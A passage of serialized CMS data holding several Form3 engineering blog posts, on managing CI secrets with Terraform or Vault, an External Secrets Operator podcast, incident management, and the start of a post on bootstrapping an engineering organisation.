lifecycle {\n    ignore_changes = [etag]\n  }\n}",[],"code_block$565555d1-7023-4376-97a6-6c26c899e415",{"variation":459,"version":460,"items":3632,"primary":3633,"id":3638,"slice_type":479,"slice_label":13},[],{"body":3634},[3635],{"type":396,"text":3636,"spans":3637},"Similarly, secrets can also easily be provisioned:",[],"rich_text$28985161-77f9-4ffd-abbd-5e79fe43a934",{"variation":459,"version":460,"items":3640,"primary":3641,"id":3646,"slice_type":567,"slice_label":13},[],{"language_label":3467,"code":3642},[3643],{"type":563,"text":3644,"spans":3645},"resource \"github_actions_secret\" \"hello_world_api_docker_username\" {\n  repository      = \"hello-world-api\"\n  secret_name     = \"DOCKER_USERNAME\"\n  plaintext_value = var.docker_username\n}",[],"code_block$35180418-916a-4ce9-8f48-ead2c1f16c83",{"variation":459,"version":460,"items":3648,"primary":3649,"id":3654,"slice_type":479,"slice_label":13},[],{"body":3650},[3651],{"type":396,"text":3652,"spans":3653},"Then, you just need a variable for injecting the value:",[],"rich_text$baa5ba55-60ae-4ebf-a8da-de558b725a20",{"variation":459,"version":460,"items":3656,"primary":3657,"id":3662,"slice_type":567,"slice_label":13},[],{"language_label":3467,"code":3658},[3659],{"type":563,"text":3660,"spans":3661},"variable \"docker_username\" {}",[],"code_block$8a4ac8ca-9f57-4c38-8264-95fe905175d3",{"variation":459,"version":460,"items":3664,"primary":3665,"id":3695,"slice_type":479,"slice_label":13},[],{"body":3666},[3667,3674,3677,3680,3683,3686,3689],{"type":396,"text":3668,"spans":3669},"You obviously need a good way to actually set values for this secret, and systems like Terraform Cloud allow you to set sensitive values for a Terraform project, such that they can be injected using a Terraform variable. For this to work, you need to lock-down access to your Terraform Cloud account (especially to the state files, which will contain the secret values in plain text), however you do end up with a simple way of injecting secrets from a single place into your entire repo estate.",[3670],{"start":3671,"end":900,"type":744,"data":3672},87,{"link_type":453,"url":3673,"target":456},"https:\u002F\u002Fwww.hashicorp.com\u002Fproducts\u002Fterraform\u002Fpricing",{"type":396,"text":3675,"spans":3676},"Furthermore, if you need to rotate a secret, the process is simple:",[],{"type":1101,"text":3678,"spans":3679},"Update the value used by the Terraform variable.",[],{"type":1101,"text":3681,"spans":3682},"Run a terraform plan and terraform apply.",[],{"type":1101,"text":3684,"spans":3685},"Profit! All your repos are updated in one go!",[],{"type":1097,"text":3687,"spans":3688},"Issue secrets from a secret manager",[],{"type":396,"text":3690,"spans":3691},"An alternative pattern to the approach described above, is to issue secrets to CI pipelines, rather than inject them in. A secret manager (e.g. Hashicorp Vault) can be used as the central location of secrets, and can control issuing them to authorised clients. Provided your CI pipelines have a suitable mechanism of authenticating with the secret manager, they can then reach out on demand to fetch the secrets they need:",[3692],{"start":1545,"end":1549,"type":744,"data":3693},{"link_type":453,"url":3694},"https:\u002F\u002Fwww.vaultproject.io\u002F","rich_text$076db320-c97c-49b4-8e38-757fd9c4c223",{"variation":459,"version":481,"items":3697,"primary":3698,"id":3713,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":3699,"body":3700,"cta_label":13,"cta_link":3701,"aside_type":488,"aside_image":3702,"aside_video":3708,"aside_video_poster":3709,"aside_video_reduced_motion":3710,"aside_video_url":13,"aside_embed":3711,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":3712,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[],{"link_type":487},{"dimensions":3703,"alt":13,"copyright":13,"url":3705,"id":3706,"edit":3707},{"width":3704,"height":3605},601,"\u002F_prismic-media\u002F193a8011143871df-AFVo9gc8-tx6wyTs_40f5289a-503a-4792-b246-cc8904c.png","AFVo9gc8-tx6wyTs",{"x":17,"y":17,"zoom":18,"background":19},{"link_type":493},{},{},{},{"link_type":499},"content_block$d98d60a4-de2e-411d-ac8c-33ef3b29f3e2",{"variation":459,"version":460,"items":3715,"primary":3716,"id":3724,"slice_type":479,"slice_label":13},[],{"body":3717},[3718,3721],{"type":396,"text":3719,"spans":3720},"This approach has the advantage of avoiding the need to restrict access to the same Terraform workspace that manages your GitHub repos (although you still need to inject your secrets into the secret manager somehow), but does require additional infrastructure to run and manage the secret manager in the first place.",[],{"type":396,"text":3722,"spans":3723},"More importantly, it means that the secrets issued by your secret manager could be dynamically provisioned, and issued with short time-to-live. Rather than having static credentials that are valid for a long period (which could cause a lot of damage if they were stolen), your CI pipelines can use ephemeral secrets with such short lifespans that they wouldn't be very useful to an attacker.",[],"rich_text$e4b6b4b2-b567-491a-938d-d2644b46e75c",{"variation":459,"version":460,"items":3726,"primary":3727,"id":3753,"slice_type":479,"slice_label":13},[],{"body":3728},[3729,3732,3735,3738,3741,3744,3747,3750],{"type":465,"text":3730,"spans":3731},"Summary",[],{"type":396,"text":3733,"spans":3734},"Managing secrets in your build and deployment pipelines is something that I think you need to get right early on when building an engineering organisation, otherwise it can become a logistical and security problem later.",[],{"type":396,"text":3736,"spans":3737},"In this post I've described two patterns for managing your pipeline secrets at scale:",[],{"type":1101,"text":3739,"spans":3740},"Injecting them using infrastructure as code.",[],{"type":1101,"text":3742,"spans":3743},"Issuing them using a central secrets manager.",[],{"type":396,"text":3745,"spans":3746},"In my opinion, the first pattern is easier to get up and running, and scales very well. However, it does require careful configuration to ensure the secrets are securely stored at the point of injection (e.g. in Terraform Cloud). It also has the disadvantage that all the secrets are static values with long expiry lifetimes.",[],{"type":396,"text":3748,"spans":3749},"The second approach separates the concepts of repo management and secret management, by introducing a dedicated secrets manager. Whilst this approach has advantages--notably by allowing the use of ephemeral secrets--it comes with the additional overhead of having to run and manage a separate secret manager (e.g. Vault).",[],{"type":396,"text":3751,"spans":3752},"However, I think both approaches are preferable to manually managing secrets on a repo-by-repo basis. It's all too easy to fall into that trap when you start out, which is why I think getting this right from day one is so important.",[],"rich_text$eb1533eb-eea4-4528-b8fa-386f42730fd6",{"id":3755,"uid":3756,"url":3757,"type":406,"href":3758,"tags":3759,"first_publication_date":3760,"last_publication_date":2850,"slugs":3761,"linked_documents":3763,"lang":386,"alternate_languages":3764,"data":3765},"alz0wxEAACcAUWZ2","podcast-ext-secrets","\u002Fresources\u002Fengineering-blog\u002Fpodcast-ext-secrets","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz0wxEAACcAUWZ2%22%29+%5D%5D",[],"2026-07-19T16:21:59+0000",[3762],"ep-42-.tech---building-and-maintaining-external-secrets-operator",[],[],{"title":3766,"excerpt":3767,"card_image":3768,"published_date":3773,"reading_time":667,"tag":427,"dek":3767,"featured_image":3774,"about_form3":3779,"client_about_heading":13,"client_about_body":3780,"author_name":1277,"author_title":1278,"author_photo":3781,"author_bio":3784,"author_linkedin":3787,"slices":3789,"meta_title":3766,"meta_description":3767},".tech Podcast - Building and maintaining External Secrets Operator","Moritz Johner and Lucas Severo Alves are maintainers for the popular External Secrets Operator open-source project. They join us to share their open-source journeys and teach us how to get secrets management right. They also give us an overview of how their project can make your life as a developer easier.",{"dimensions":3769,"alt":3766,"copyright":13,"url":3770,"id":3771,"edit":3772},{"width":420,"height":420},"\u002F_prismic-media\u002F95bc0a2b1e42c6e4-Ej25SkhJtk1KX-Cx_podcast-ext-secrets.png","Ej25SkhJtk1KX-Cx",{"x":17,"y":17,"zoom":18,"background":19},"2023-04-12",{"dimensions":3775,"alt":13,"copyright":13,"url":3776,"id":3777,"edit":3778},{"width":1270,"height":1271},"\u002F_prismic-media\u002F6bda1837f36ee417-jEgcb9OeVGvY-wYK_3a01534e-924e-484d-bab8-62524b5.jpg","jEgcb9OeVGvY-wYK",{"x":17,"y":17,"zoom":18,"background":424},[],[],{"dimensions":3782,"alt":1277,"copyright":13,"url":1282,"id":1283,"edit":3783},{"width":443,"height":1281},{"x":17,"y":17,"zoom":18,"background":424},[3785],{"type":396,"text":1287,"spans":3786},[],{"link_type":453,"key":3788,"url":1291,"target":456},"7c46b229-3e6f-4142-b388-1a155290d789",[3790,3810,3853,3905,3927,3961,3984],{"variation":459,"version":481,"items":3791,"primary":3792,"id":3809,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":3793,"body":3797,"cta_label":1304,"cta_link":3800,"aside_type":13,"aside_image":3803,"aside_video":3804,"aside_video_poster":3805,"aside_video_reduced_motion":3806,"aside_video_url":13,"aside_embed":3807,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":3808,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[3794],{"type":465,"text":3795,"spans":3796},"Ep 42 .tech - Building and maintaining External Secrets Operator",[],[3798],{"type":396,"text":1302,"spans":3799},[],{"link_type":453,"key":3801,"url":3802},"fdc1af13-7482-4910-a691-aeb38567edb9","https:\u002F\u002Ftechpodcast.form3.tech\u002Fepisodes\u002Fep-42-tech-building-and-maintaining-external-secrets-operator-VMz_Aa8o",{},{"link_type":493},{},{},{},{"link_type":499},"content_block$c8e29ae3-bd83-4e5b-ba77-9dd7449d66ae",{"variation":459,"version":460,"items":3811,"primary":3812,"id":3852,"slice_type":479,"slice_label":13},[],{"body":3813},[3814,3817,3831,3839],{"type":465,"text":3815,"spans":3816},"Getting into open-source",[],{"type":396,"text":3818,"spans":3819},"Moritz Johner is a Senior Software Engineer at Form3. He has roughly 10 years experience in the tech industry. He comes from a non-conventional background, having studied Media Technology in University. He has worked in a variety of industries, including web agencies, startups and consulting. He is also a Linux Foundation trainer for Kubernetes. He joined Form3 a year ago and works on providing cloud agnostic Kubernetes experience for product teams.",[3820,3823,3826],{"start":17,"end":1403,"type":744,"data":3821},{"link_type":453,"url":3822,"target":456},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fmoritz-johner\u002F",{"start":3824,"end":547,"type":744,"data":3825},47,{"link_type":453,"url":1328,"target":456},{"start":3827,"end":3828,"type":744,"data":3829},307,346,{"link_type":453,"url":3830,"target":456},"https:\u002F\u002Ftraining.linuxfoundation.org\u002F?s=kubernetes",{"type":396,"text":3832,"spans":3833},"Moritz's journey into open-source began in 2018 when he was working in consulting and had to build a Kubernetes platform that would work across AWS accounts. Most projects did not support assuming a role in another AWS account, so Moritz contributed this functionality to the various OSS projects he was using. Eventually, Moritz provided this same feature to kubernetes-external-secrets which was the de-facto secrets synching solution at the time. He then gradually became more involved in this project and helped take on the work of merging multiple secrets solutions together.",[3834],{"start":3835,"end":3836,"type":744,"data":3837},360,387,{"link_type":453,"url":3838,"target":456},"https:\u002F\u002Fgithub.com\u002Fexternal-secrets\u002Fkubernetes-external-secrets",{"type":396,"text":3840,"spans":3841},"Lucas Severo Alves is a Software Engineer at RedHat, focusing on open-source. He has a background in DevOps, SRE and system administration. His introduction to open-source was also on the kubernetes-external-secrets project that Moritz was working on. He was excited to focus on a single solution for managing secrets across platforms, which is something that he was focused on as part of his role.",[3842,3845,3848],{"start":17,"end":905,"type":744,"data":3843},{"link_type":453,"url":3844,"target":456},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Flucas-alves-knela\u002F",{"start":1346,"end":1326,"type":744,"data":3846},{"link_type":453,"url":3847,"target":456},"https:\u002F\u002Fwww.linkedin.com\u002Fcompany\u002Fred-hat\u002F",{"start":3849,"end":3850,"type":744,"data":3851},188,215,{"link_type":453,"url":3838,"target":456},"rich_text$b8809bcd-a4ad-4c75-a62a-13cbfe451c58",{"variation":459,"version":460,"items":3854,"primary":3855,"id":3904,"slice_type":479,"slice_label":13},[],{"body":3856},[3857,3860,3864,3867,3870,3873,3876,3883,3886,3889,3892,3895,3898],{"type":465,"text":3858,"spans":3859},"Secrets management done right",[],{"type":396,"text":3861,"spans":3862},"Lucas explains that secrets management encompasses everything you do with secrets:",[3863],{"start":3298,"end":844,"type":477},{"type":1101,"text":3865,"spans":3866},"how you rotate them",[],{"type":1101,"text":3868,"spans":3869},"how you give access to a new secret",[],{"type":1101,"text":3871,"spans":3872},"how you give access to a new team member",[],{"type":1101,"text":3874,"spans":3875},"how you respond to leaked secrets",[],{"type":396,"text":3877,"spans":3878},"The word secret itself in technology refers to credentials, passwords, keys, tokens, certificates. Anything that is used as a key to a lock is a secret, either by allowing people to do something or give access to a restricted resource. Everything that you around controlling and protecting the secret is secrets management.",[3879,3880],{"start":2380,"end":2000,"type":477},{"start":3881,"end":3882,"type":477},304,322,{"type":396,"text":3884,"spans":3885},"In the context of Kubernetes, secrets management is:",[],{"type":1101,"text":3887,"spans":3888},"how you give access to your secrets inside Kubernetes",[],{"type":1101,"text":3890,"spans":3891},"how you control access to secrets inside your Kubernetes cluster",[],{"type":1101,"text":3893,"spans":3894},"how you isolate access to the secret in the context of multi-tenant applications inside Kubernetes",[],{"type":396,"text":3896,"spans":3897},"Moritz explains that although it sounds like pretty simple problem to solve, secrets management is difficult. Secrets are distributed in many places, from developer machines, to CI\u002FCD pipelines and remote environments. Tokens can also have different expiration times and might be dependent on external entities for signing as well.",[],{"type":396,"text":3899,"spans":3900},"Secrets management is a huge space and the project Moritz and Lucas work on, external-secrets-operator is simply a tool in this space.",[3901],{"start":708,"end":900,"type":744,"data":3902},{"link_type":453,"url":3903,"target":456},"https:\u002F\u002Fgithub.com\u002Fexternal-secrets\u002Fexternal-secrets","rich_text$98b5544a-731f-4512-b80f-b1ca283d132e",{"variation":459,"version":460,"items":3906,"primary":3907,"id":3926,"slice_type":479,"slice_label":13},[],{"body":3908},[3909,3912,3917,3920,3923],{"type":465,"text":3910,"spans":3911},"What external-secrets-operator can do for you",[],{"type":396,"text":3913,"spans":3914},"Moritz explains to us that external-secrets-operator is built around the idea of pulling secrets from some secure vault\u002Fstorage into the cluster. This allows us to pull secrets into the cluster and then consume them with the standard Kubernetes mechanisms such as: mounting a file, reading environment variables or as an ingress resource.",[3915],{"start":2744,"end":547,"type":744,"data":3916},{"link_type":453,"url":3903,"target":456},{"type":396,"text":3918,"spans":3919},"Companies structure their tenants and resource access very differently. Some organisations share one vault across engineering teams, others have one instance per team or multiple instances per team. There are a lot of different possibilities in how you can structure secrets management. External secrets operator was designed with this in mind and helps you map your requirements into Kubernetes. The only prerequisite is that secrets must be stored in a secure place.",[],{"type":396,"text":3921,"spans":3922},"Lucas adds that its important to keep secrets synchronised with the vault, which is the single source of truth for these secrets. External secrets operator does this recurrently, allowing you to change secrets in one place. This is extremely useful in the case of leaks, where you might have to rotate secrets very quickly. There are also two highly anticipated features in Beta right now: push secrets and secrets generation.",[],{"type":396,"text":3924,"spans":3925},"Moritz explains that external secrets operator supports different cluster topologies. A common solution is to have a central cluster which manages other workload clusters. These clusters often require secrets to be injected to them. The project includes providers for Kubernetes, all the 3 clouds and also HashiCorp Vault. By considering Kubernetes itself a provider, external secrets operator is able to get secrets from one cluster and send it forward to others.",[],"rich_text$6b317bd4-ebe2-424f-b015-04f8b0de5c09",{"variation":459,"version":460,"items":3928,"primary":3929,"id":3960,"slice_type":479,"slice_label":13},[],{"body":3930},[3931,3934,3937,3940,3948,3951,3954],{"type":465,"text":3932,"spans":3933},"Getting started with external-secrets-operator",[],{"type":396,"text":3935,"spans":3936},"Lucas breaks down how to get started with external secrets operator into a few easy steps:",[],{"type":582,"text":3938,"spans":3939},"You decide on a secure vault that you trust with your secrets. All secrets that you use in the project consider this vault the single source of truth.",[],{"type":582,"text":3941,"spans":3942},"An application that needs this secret will need it to be available in its Kubernetes cluster. You install external-secrets-operator with Helm.",[3943],{"start":3944,"end":3945,"type":744,"data":3946},106,141,{"link_type":453,"url":3947,"target":456},"https:\u002F\u002Fexternal-secrets.io\u002Fv0.8.1\u002Fintroduction\u002Fgetting-started\u002F",{"type":582,"text":3949,"spans":3950},"You create a custom resource with YAML for the external secrets provider, including how to authenticate to it.",[],{"type":582,"text":3952,"spans":3953},"You create another custom resource for the operator itself, including which secret to get, how it will be named and where to put it.",[],{"type":396,"text":3955,"spans":3956},"After this, external secrets operator will take care of fetching and updating the secret it is in charge of and you don't need to worry about these aspects any longer. The only problem that you must solve yourself is where to keep the initial secret that unlocks the vault that you need to pass to the operator. Moritz recommends to use service accounts with Workload Identity, which is available in the major cloud providers, and use that token to authenticate the secrets manager. There are steps on the project's official documentation on the commands and configuration you will need to run.",[3957],{"start":2090,"end":3958,"type":744,"data":3959},538,{"link_type":453,"url":3947,"target":456},"rich_text$9ea5fa66-a224-4c53-8cd2-d2558260fd2d",{"variation":459,"version":460,"items":3962,"primary":3963,"id":3983,"slice_type":479,"slice_label":13},[],{"body":3964},[3965,3968,3974,3980],{"type":465,"text":3966,"spans":3967},"Alternatives to external secrets operator",[],{"type":396,"text":3969,"spans":3970},"The oldest project, dating back to 2017, is sealed-secrets. This project was the only solution for a long time. It allows you to encrypt secrets, store them in a Git repository and then decrypt the secrets with a controller inside the cluster. The disadvantage of this tool is that Git repositories can be leaked. Depending on the encryption strength, these files be decrypted. However, you still need to manage the encryption and decryption keys, which are not stored centrally, as you cannot commit them to the repository itself.",[3971],{"start":2015,"end":556,"type":744,"data":3972},{"link_type":453,"url":3973,"target":456},"https:\u002F\u002Fgithub.com\u002Fbitnami-labs\u002Fsealed-secrets",{"type":396,"text":3975,"spans":3976},"Another project is the secrets-store-csi-driver. This project allows you to mount the secret directly inside a pod, without having Kubernetes native secrets.",[3977],{"start":2532,"end":3824,"type":744,"data":3978},{"link_type":453,"url":3979,"target":456},"https:\u002F\u002Fgithub.com\u002Fkubernetes-sigs\u002Fsecrets-store-csi-driver",{"type":396,"text":3981,"spans":3982},"The main choice you will have to make is what requirements you have when it comes to compliance and company policy. Moritz and Lucas get a lot of questions about which tool to use, but there is no best approach, as each tool will require some tradeoffs. External secrets operator now has over 200 contributors and has endeavoured to bring together multiple projects, making it easy to support new providers.",[],"rich_text$bbc9c207-9c7c-4728-81fb-0b10bdbfe10e",{"variation":459,"version":460,"items":3985,"primary":3986,"id":4007,"slice_type":479,"slice_label":13},[],{"body":3987},[3988,3991,3994,3997],{"type":465,"text":3989,"spans":3990},"The life of an open-source maintainer",[],{"type":396,"text":3992,"spans":3993},"Moritz explains that the most difficult aspect of being an open-source maintainer is keeping up with the stream of messages and requests on Slack and GitHub. This has taught him to manage his time and prioritise tasks better, dedicating strict time windows to the open-source project. He is also an introvert, so he has grown from a social skills perspective too.",[],{"type":396,"text":3995,"spans":3996},"Lucas shares that being a maintainer can mean something different to different people. For example, external secrets operator has a maintainer that only maintains the IBM part of the project and he focuses on testing and client library maintenance. Other maintainers focus on PR review and rotate hosting the community meeting, as well as bringing visibility to the project. Time commitment varies throughout the year, as life sometimes gets in the way, but it's important to coordinate with other maintainers. Both Lucas and Moritz agree that dedicating their time to open-source is very rewarding and worth the effort.",[],{"type":396,"text":3998,"spans":3999},"Moritz will be speaking about external secrets operator on the KubeCon EU 2023 stage on April 19th 2023. OpenCollective has made it possible for the project to get funding, making it possible for the maintainers to meet in Amsterdam. The maintainers of external secrets operator also have a dedicated booth at KubeCon EU. Don't hesitate to come and say hello at booth K23 if you are attending KubeCon EU! 👋",[4000,4003],{"start":1734,"end":640,"type":744,"data":4001},{"link_type":453,"url":4002,"target":456},"https:\u002F\u002Fsched.co\u002F1HyYQ",{"start":4004,"end":742,"type":744,"data":4005},105,{"link_type":453,"url":4006,"target":456},"https:\u002F\u002Fopencollective.com\u002F","rich_text$0d56347b-f5fe-4198-8576-43d423cdaf42",{"id":4009,"uid":4010,"url":4011,"type":406,"href":4012,"tags":4013,"first_publication_date":3760,"last_publication_date":4014,"slugs":4015,"linked_documents":4016,"lang":386,"alternate_languages":4017,"data":4018},"alz0xhEAACgAUWZ_","life-of-incident-mngr","\u002Fresources\u002Fengineering-blog\u002Flife-of-incident-mngr","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz0xhEAACgAUWZ_%22%29+%5D%5D",[],"2026-08-27T21:20:34+0000",[2167],[],[],{"title":4019,"excerpt":4020,"card_image":4021,"published_date":4026,"reading_time":672,"tag":427,"dek":4020,"featured_image":4027,"about_form3":4032,"client_about_heading":13,"client_about_body":4033,"author_name":1018,"author_title":1019,"author_photo":4034,"author_bio":4037,"author_linkedin":4044,"slices":4046,"meta_title":4019,"meta_description":4020},"What is the life of an Incident Manager?","David Macarthur gives us a peek into his life as an Incident Manager at Form3. He explains what incident management is, how to effectively prepare for incidents and the role of incident managers when incidents do occur. Investing in good Incident Management is essential to operating a good business and David shares his thoughts on how to do just that.",{"dimensions":4022,"alt":4019,"copyright":13,"url":4023,"id":4024,"edit":4025},{"width":420,"height":420},"\u002F_prismic-media\u002Fa8fdd6cd60bd51f3-9yCUlrcMgmTuetDo_life-of-incident-mngr.svg","9yCUlrcMgmTuetDo",{"x":17,"y":17,"zoom":18,"background":424},"2023-04-05",{"dimensions":4028,"alt":13,"copyright":13,"url":4029,"id":4030,"edit":4031},{"width":1270,"height":1271},"\u002F_prismic-media\u002F34987486c0c7e166-HOWuu74wZn8ITF5q_5bb68ae8-3608-4127-be91-01bd61e.jpg","HOWuu74wZn8ITF5q",{"x":17,"y":17,"zoom":18,"background":424},[],[],{"dimensions":4035,"alt":1018,"copyright":13,"url":1022,"id":1023,"edit":4036},{"width":443,"height":444},{"x":17,"y":17,"zoom":18,"background":424},[4038,4040],{"type":396,"text":1027,"spans":4039},[],{"type":396,"text":1030,"spans":4041},[4042],{"start":579,"end":555,"type":744,"data":4043},{"link_type":453,"url":1034},{"link_type":453,"key":4045,"url":1034,"target":456},"1f5d6947-f7b1-46c9-8099-a376d4a50e94",[4047,4058,4081,4129,4163],{"variation":459,"version":460,"items":4048,"primary":4049,"id":4057,"slice_type":479,"slice_label":13},[],{"body":4050},[4051,4054],{"type":1097,"text":2208,"spans":4052,"direction":4053},[],"ltr",{"type":396,"text":4055,"spans":4056,"direction":4053},"My name is David Macarthur and I've been in Service Delivery for most of my working life. Specifically, I have been in Incident Management for over a decade as my speciality. I've worked with some of the big players in the space of outsourcing this specific service. So, for those who are not in this field I wanted to give a quick summary of what we do, how we do it and maybe even spark interest of someone who could pursue a career in Incident Management.",[],"rich_text$0621c583-eb30-4ce0-b367-0a84ae81a708",{"variation":459,"version":460,"items":4059,"primary":4060,"id":4080,"slice_type":479,"slice_label":13},[],{"body":4061},[4062,4065,4068,4073],{"type":1097,"text":4063,"spans":4064,"direction":4053},"What is Incident Management?",[],{"type":396,"text":4066,"spans":4067,"direction":4053},"Before we get into what the day to day is like, let's explore what Incident Management is.",[],{"type":396,"text":4069,"spans":4070,"direction":4053},"An incident in its most simple terms is anything outside of business as usual (BAU) operations that causes impact.",[4071,4072],{"start":1105,"end":1998,"type":477},{"start":2103,"end":549,"type":780},{"type":396,"text":4074,"spans":4075,"direction":4053},"Incident Management is how we respond to that incident. It’s a response, not a reaction. Reactions are in the moment; they can be emotionally charged and leave you having to make a plan on the fly. Responding involves following a plan that Incident Managers have in place for as many scenarios as possible.",[4076,4077],{"start":17,"end":2369,"type":477},{"start":4078,"end":4079,"type":477},240,257,"rich_text$e7defa62-6e97-456f-bb50-9bb8e7046229",{"variation":459,"version":460,"items":4082,"primary":4083,"id":4128,"slice_type":479,"slice_label":13},[],{"body":4084},[4085,4088,4091,4094,4097,4100,4103,4106,4109,4113,4116,4119,4122,4125],{"type":1097,"text":4086,"spans":4087,"direction":4053},"Preparing for incidents",[],{"type":396,"text":4089,"spans":4090,"direction":4053},"On a good day Incident Management is very much as most people’s office life:",[],{"type":1101,"text":4092,"spans":4093,"direction":4053},"We have meetings about things that have happened and things that are yet to happen.",[],{"type":1101,"text":4095,"spans":4096,"direction":4053},"We brainstorm ideas for process improvement. Incident Managers focus on what can go wrong and plan for a response to these possible failures.",[],{"type":1101,"text":4098,"spans":4099,"direction":4053},"Waiting is much of an Incident Managers job in a well-planned out company. When everything functions as it should, Incident Managers are able to invest time into predicting what could go wrong. We do this through careful analysis of previous incidents but also just through experience and spotting holes others may miss.",[],{"type":396,"text":4101,"spans":4102,"direction":4053},"For someone not involved in the incident process it may seem perfectly fine to have just a help desk to phone with a vendor, but let's consider the following scenarios:",[],{"type":1101,"text":4104,"spans":4105,"direction":4053},"What happens when that line is down?",[],{"type":1101,"text":4107,"spans":4108,"direction":4053},"What happens if the person is unable to get the resources they need?",[],{"type":396,"text":4110,"spans":4111,"direction":4053},"That’s what Incident Managers plan for. The what-if.",[4112],{"start":2015,"end":1326,"type":780},{"type":396,"text":4114,"spans":4115,"direction":4053},"From a management perspective, someone may think they have a redundant system with an automated failover so there's no need for an engineer on-call in that scenario, but this approach has downsides too:",[],{"type":1101,"text":4117,"spans":4118,"direction":4053},"What if it doesn’t switch over automatically?",[],{"type":1101,"text":4120,"spans":4121,"direction":4053},"Does the engineer know how to do a manual failover?",[],{"type":1101,"text":4123,"spans":4124,"direction":4053},"Do engineers they know how to do it at 3am, blurry eyed having just woken up? What if they don’t?",[],{"type":396,"text":4126,"spans":4127,"direction":4053},"These are the questions Incident Managers are there to ask. The answers to these questions on the days without Incidents build a strong foundation for when an incident does occur. More often than not, Incident Managers focus on building redundancy and seeing things from the perspective of an operational live service. If you ever see an Incident Manager seemingly doing nothing, know they are waiting, planning and ready.",[],"rich_text$07972445-1a9c-4dd0-8121-16550037cbc2",{"variation":459,"version":460,"items":4130,"primary":4131,"id":4162,"slice_type":479,"slice_label":13},[],{"body":4132},[4133,4136,4139,4142,4150,4153,4156,4159],{"type":1097,"text":4134,"spans":4135,"direction":4053},"Managing the incidents",[],{"type":396,"text":4137,"spans":4138,"direction":4053},"On the days that incidents occur, Incident Managers have alerts to investigate. All of the preparation they have done kicks in and following the established plans minimise the consequences.",[],{"type":396,"text":4140,"spans":4141,"direction":4053},"At Form3, this process looks like this:",[],{"type":1101,"text":4143,"spans":4144,"direction":4053},"Within minutes of an alert being triggered, an Incident Manager and an engineer are paged through PagerDuty and will join a Zoom bridge.",[4145],{"start":4146,"end":4147,"type":744,"data":4148},98,107,{"link_type":453,"url":4149,"target":456},"https:\u002F\u002Fwww.pagerduty.com\u002F",{"type":1101,"text":4151,"spans":4152,"direction":4053},"Our engineers are spectacularly talented individuals with a wealth of experience. Their focus is on finding the root cause of the incident and investigate possible mitigations.",[],{"type":1101,"text":4154,"spans":4155,"direction":4053},"The Incident Manager is free to become the voice of the customer on that call and focus on restoring service as quickly as possible.",[],{"type":1101,"text":4157,"spans":4158,"direction":4053},"The engineer on-call and Incident Manager work together to assess options and make mitigation decisions. Evidence based, knowledgeable decisions from a customer perspective. Incident Managers ask questions, lean on the expertise of our engineering and product colleagues, and we make a decision.",[],{"type":396,"text":4160,"spans":4161,"direction":4053},"In Incident Management, we work with the entire company, across every product we deliver to ensure when something goes wrong, we are there, we have a plan, and we get it fixed as quickly as possible.",[],"rich_text$0fcce891-c06d-40b0-bbdf-71a94988fe97",{"variation":459,"version":460,"items":4164,"primary":4165,"id":4178,"slice_type":479,"slice_label":13},[],{"body":4166},[4167,4169,4172,4175],{"type":1097,"text":982,"spans":4168,"direction":4053},[],{"type":396,"text":4170,"spans":4171,"direction":4053},"The cycle continues throughout the year. Following the days with Incidents and Alerts, Incident Managers review and analyse that response for any weak links to improve on. The more focus we put into this, the less incidents we have and the stronger the company gets.",[],{"type":396,"text":4173,"spans":4174,"direction":4053},"Good Incident Management is a crucial part of any organisation and woe on any business who thinks they can take it for granted. One poorly managed incident can have knock-on effects for months to come, can impact a company’s reputation and even drive away a new customer.",[],{"type":396,"text":4176,"spans":4177,"direction":4053},"A good company invests in good incident management and Form3 does just that!",[],"rich_text$684f9645-72d4-4db7-9912-0bc3fdcf259a",{"id":4180,"uid":4181,"url":4182,"type":406,"href":4183,"tags":4184,"first_publication_date":3760,"last_publication_date":4185,"slugs":4186,"linked_documents":4188,"lang":386,"alternate_languages":4189,"data":4190},"alz0yREAACoAUWaF","blog-bootstrapping-engineering-org","\u002Fresources\u002Fengineering-blog\u002Fblog-bootstrapping-engineering-org","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz0yREAACoAUWaF%22%29+%5D%5D",[],"2026-08-27T02:07:00+0000",[4187],"day-one",[],[],{"title":4191,"excerpt":4192,"card_image":4193,"published_date":4198,"reading_time":667,"tag":427,"dek":4199,"featured_image":4200,"about_form3":4205,"client_about_heading":13,"client_about_body":4206,"author_name":1594,"author_title":1595,"author_photo":4207,"author_bio":4210,"author_linkedin":4215,"slices":4217,"meta_title":4191,"meta_description":4192},"Bootstrapping a successful engineering organisation","In this blog post, Andy Kuszyk identifies the main themes in the organisation bootstrapping process by reflecting on the elements of Form3's makeup which are so successful. There are lots of ways of thinking about this, and he groups different components of a functioning engineering organisation into three themes: Day One, Day Two and Considerations.",{"dimensions":4194,"alt":4191,"copyright":13,"url":4195,"id":4196,"edit":4197},{"width":420,"height":420},"\u002F_prismic-media\u002F3bb487e26b2c9e35-h2-EkmNxrsSqokg4_blog-bootstrapping-engineering-.png","h2-EkmNxrsSqokg4",{"x":17,"y":17,"zoom":18,"background":19},"2023-03-29","For the past 4 years, I have been working for a very mature engineering organisation (Form3). Despite its relatively small size when I joined (around 35 engineers), it was very well established with lots of excellent practices in place. Over these last few years, the engineering team has grown significantly (to over 200 engineers) with little change to these working practices.I've been thinking about why there has been so little material change, and I think it's because the engineering organisation was very well bootstrapped in its infancy. The founding team did a great job of knowing what we would need as the organisation grew, and they got a lot of it right first time. There have obviously been improvements and enhancements along the way, but most of the underlying approaches haven't changed.In this blog post, I'm going to 